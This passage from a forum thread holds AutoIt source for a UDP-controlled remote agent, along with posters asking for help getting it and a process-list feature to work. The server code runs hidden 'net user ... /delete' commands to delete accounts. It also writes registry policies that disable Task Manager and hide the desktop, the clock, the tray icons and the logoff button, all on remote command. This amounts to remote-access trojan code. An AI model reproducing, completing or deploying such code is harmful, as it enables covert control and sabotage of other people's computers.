$StdOut3 <> "" Then UDPSend($socket,"ok") ExitLoop Else UDPSend($socket,"false") ExitLoop EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;; Else EndIf Sleep(100) EndIf WEnd EndIf If $data = "userdelete" Then ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Sleep(2000) While 1 $data1 = UDPRecv($socket, 999999) If StringInStr($data1, "|") Then $string = StringSplit($data1, "|") If $string[1] = "userdelete2" Then ;;;;;;;;;;;;;;;;;;;;;;;;;; $rc3 = Run(@ComSpec & " /c net user " & $string[2] & " " & "/delete", @WorkingDir, @SW_HIDE, $STDOUT_CHILD) $StdOut3 = "" While ProcessExists($rc3) If StdoutRead($rc3, 0, 1) Then $StdOut3 &= StdoutRead($rc3) WEnd If $StdOut3 <> "" Then UDPSend($socket,"ok") ExitLoop Else UDPSend($socket,"false") ExitLoop EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;; Else EndIf Sleep(100) EndIf WEnd EndIf If $data = "onhidetryicons" Then msgbox(0,"","hideon") RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoTrayItemsDisplay", "REG_DWORD", "1") Sleep(1000) msgbox(0,"","hideon") If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoTrayItemsDisplay") = "1" Then UDPSend($socket,"onhidetryicons") Else EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "offhidetryicons" Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoTrayItemsDisplay", "REG_DWORD", "0") Sleep(1000) If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoTrayItemsDisplay") = "0" Then UDPSend($socket,"offhidetryicons") Else EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "onhideclock" Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "HideClock", "REG_DWORD", "1") Sleep(1000) If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "HideClock") = "1" Then UDPSend($socket,"onhideclock") Else EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "offhideclock" Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "HideClock", "REG_DWORD", "0") Sleep(1000) If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "HideClock") = "0" Then UDPSend($socket,"offhideclock") Else EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "onhideallitemsdesktop" Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDesktop", "REG_DWORD", "1") Sleep(1000) If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDesktop") = "1" Then UDPSend($socket,"onhideallitemsdesktop") Else EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "offhideallitemsdesktop" Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDesktop", "REG_DWORD", "0") Sleep(1000) If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDesktop") = "0" Then UDPSend($socket,"offhideallitemsdesktop") Else EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "enabletaskmanager" Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "0") Sleep(1000) If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr") = "0" Then UDPSend($socket,"enabletaskmanager") Else EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "disabletaskmanager" Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "1") Sleep(1000) If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr") = "1" Then UDPSend($socket,"disabletaskmanager") Else EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "onhidebuttonlogoff" Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "StartMenuLogoff", "REG_DWORD", "1") Sleep(1000) If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "StartMenuLogoff") = "1" Then UDPSend($socket,"onhidebuttonlogoff") Else EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "offhidebuttonlogoff" Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "StartMenuLogoff", "REG_DWORD", "0") Sleep(1000) If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "StartMenuLogoff") = "0" Then UDPSend($socket,"offhidebuttonlogoff") Else EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf sleep(100) WEnd Func OnAutoItExit() UDPCloseSocket($socket) UDPShutdown() EndFunc All ports ar eopen and firewalls are down etc... Could someone help me please.. i want to use it
  23. Hi, Thanks allot. i hope it will work here also and i first need to look at your code how you made it so i understand it:P If this works i also can get the process list... Thanks!!!
  24. I am trying to add the new script but that also doesn't work Here is what i added: If $data = "processlist" Then MsgBox(0, "UDP DATA","processlist", 1) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; For $i = 1 to $pList[0][0] $msg2 &= @CRLF & $pList[$i][0] Next UDPSend($socket,"processlist2|" & $msg2) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf case $Button7 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"processlist") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data2 = UDPRecv($socket, 50) $string2 = StringSplit($data2, "|") If $string2[1] = "processlist2" Then MsgBox(0, "data1",$string2[2]) GUICtrlSetData($info,GUICtrlRead($info) & @CRLF & @HOUR & ":" & @MIN & ":" & @SEC & " Process list remote:" & $string2[2] & GUICtrlRead($ip)) ExitLoop EndIf sleep(100) wend
×
×
  • Create New...